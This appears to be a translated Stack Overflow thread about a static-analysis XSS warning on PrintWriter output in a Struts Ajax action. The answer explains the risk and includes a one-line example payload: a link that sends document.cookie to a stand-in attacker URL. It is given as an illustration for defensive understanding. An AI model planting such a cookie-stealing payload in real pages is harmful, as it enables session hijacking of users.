java - 使用 Ajax 和基于 Java 的服务器的 Web 应用程序 - 安全相关

标签 java ajax security xss

我有一个 Web 应用程序,它使用 Ajax 来执行多项任务。它使用 Java 作为中间件(Struts 1.x)

问题是我的应用程序使用静态代码分析来分析潜在的安全风险。分析发现,使用以下代码被认为存在漏洞。

例如

// Method invoked by Ajax
public ActionForward execute(...)
{
    PrintWriter out = response.getWriter();

    out.println("Ajax Response");

    return null;
}

报告明确提到,使用 PrintWriter 是有害的,并且容易出现 XSS(跨站脚本)。 我尝试在线搜索这是否是潜在威胁,但找不到任何有用的东西。 请告知这是否是一个问题以及我的替代方案是什么。

编辑 - 问题是通过 out.println 语句发现的

谢谢, 悉达多

最佳答案

您可以在网上找到很多有关 XSS 的信息,但很少有真正详细介绍如何测试并避免它。这是需要进行一些研究的事情之一。让我给您举个例子,您提供的代码可能是也可能不是问题的原因。

假设您的 HTML 页面对后端进行了 ajax 调用,然后返回结果。我只是给你一个成功后的jquery例子

$.each(data, function(){<br/> $('div.result').append(this);<br/> );

您会注意到数据只是附加而没有验证。如果数据来自脚本小子并输入怎么办

//this might not be the correct syntax
<a href="http://somehackerurl.com/hack.php?"+document.cookie>test</a>

由于您没有验证您的输入,因此用户可以输入任何内容,上面的代码将窃取点击该链接的人的 cookie。

希望这有帮助

关于java - 使用 Ajax 和基于 Java 的服务器的 Web 应用程序 - 安全相关,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/10114643/

相关文章:

java - 将时间戳(以毫秒为单位)转换为 Java 中的字符串格式时间

java - 单击按钮时语音识别 Intent 未打开

java - 使用不同名称创建对象

json - 使用 Ajax 将模型查询集从 Django 发送到 React

security - 端到端加密和同步

.net - 在 web.config 中加密 appSettings

java - Jackson 动态更改 JsonIgnore

javascript - JQuery获取同一类数据的选定/单个值

javascript - 使用 jQuery getJson 从 Tumblr 博客获取所有帖子

java - Websphere Liberty 服务器无法在自定义 TAI 中加载 WebTrustAssociationFailedException